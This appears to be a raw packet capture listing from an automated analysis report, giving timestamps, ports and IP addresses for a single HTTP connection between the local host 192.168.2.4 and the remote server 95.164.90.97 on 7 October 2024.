Oct 7, 2024 18:43:28.478984118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.478995085 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479005098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479012012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479016066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479027033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479069948 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479079962 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479083061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479083061 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479090929 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479100943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479114056 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479115963 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479125977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479145050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479146004 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479156017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479172945 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479209900 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479209900 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479792118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479803085 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479814053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.479844093 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.479979038 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480001926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480006933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480106115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480137110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480179071 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480190992 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480202913 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480215073 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480226994 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480266094 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480266094 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480287075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480298996 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480309963 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480319977 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.480344057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480344057 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480372906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.480372906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.494622946 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.494636059 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.494646072 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.494707108 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.494718075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.494729042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.494735003 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.494745016 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.494790077 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.494790077 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499054909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499172926 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499181986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499191999 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499202013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499212980 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499222994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499233007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499253035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499265909 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499277115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499279022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499279022 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499288082 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499298096 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499308109 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499319077 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499320984 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499344110 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499370098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499376059 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499376059 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499381065 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499398947 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499399900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499532938 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499541998 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499551058 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499562025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499562025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499572039 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499583006 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499785900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499797106 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499806881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499816895 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499824047 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499824047 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499828100 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499838114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499847889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499850035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499871969 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499938011 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499948025 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499962091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499963045 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499974012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499984026 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.499985933 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.499994040 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500004053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500006914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500014067 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500024080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500025988 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500046015 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500051022 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500066042 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500075102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500075102 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500085115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500094891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500099897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500104904 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500099897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500118017 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500128031 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500130892 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500138998 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500150919 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500152111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500152111 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500160933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500171900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500185013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500286102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500318050 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500387907 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500399113 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500408888 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500415087 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500432968 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500437975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500448942 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500458956 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500463009 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500471115 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500480890 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500480890 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500509024 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500519991 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500524044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500524044 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500529051 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500541925 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500551939 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500555038 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500564098 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500575066 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500576019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500597000 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500613928 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500623941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500633955 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500639915 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500643969 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500653982 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500657082 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500664949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500674009 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500677109 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500686884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500698090 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500901937 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500926018 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500931025 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500936985 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500946045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500950098 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500957012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500968933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500971079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500982046 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.500993013 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.500994921 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.501007080 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.501009941 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.501017094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.501028061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.501035929 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.501085043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.501085043 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.585177898 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.585199118 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.585215092 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.585293055 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.585306883 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.585357904 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.585417986 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.585432053 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.585450888 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.586185932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586199045 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586215019 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.586218119 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586232901 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586246014 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586257935 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.586261034 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586275101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586287975 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.586294889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.586862087 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.586890936 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.587337971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.625046968 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.625087976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.625098944 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.625374079 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.625566959 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.625579119 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.625590086 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.625602007 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.625685930 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.632834911 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.632874012 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.632884026 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.632961035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.632961035 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.633322954 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.633335114 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.633344889 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.633354902 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.633385897 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.633510113 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.636537075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.636663914 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637113094 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637124062 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637134075 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637144089 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637154102 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637165070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637175083 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637183905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637185097 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637193918 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637203932 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637207985 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637216091 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637229919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637229919 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637250900 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637271881 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637273073 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637280941 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637290001 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637291908 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637301922 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637311935 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637312889 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637321949 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637324095 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637332916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637346029 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637351990 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637685061 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637687922 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637696028 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637706041 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637715101 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637723923 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637732983 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637742043 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637746096 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637752056 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637762070 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637763977 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637769938 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637770891 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637780905 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637789965 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637794971 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637799978 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637808084 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.637825012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637825012 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.637917995 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639674902 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639684916 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639694929 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639703989 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639713049 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639723063 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639729977 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639729977 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639731884 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639756918 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639776945 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639832020 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639842033 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639851093 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639859915 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639868975 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639878035 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639888048 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639893055 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639893055 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639904976 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639908075 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639915943 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639926910 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639935017 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639935970 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639945984 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639954090 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639957905 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639962912 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639964104 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639975071 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639983892 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639988899 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.639993906 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.639993906 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640002966 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640013933 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640028000 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640028000 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640029907 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640038013 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640044928 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640048981 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640058994 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640069008 CEST	49742	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:28.640069008 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640079021 CEST	80	49742	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:28.640085936 CEST	49742	80	192.168.2.4	95.164.90.97
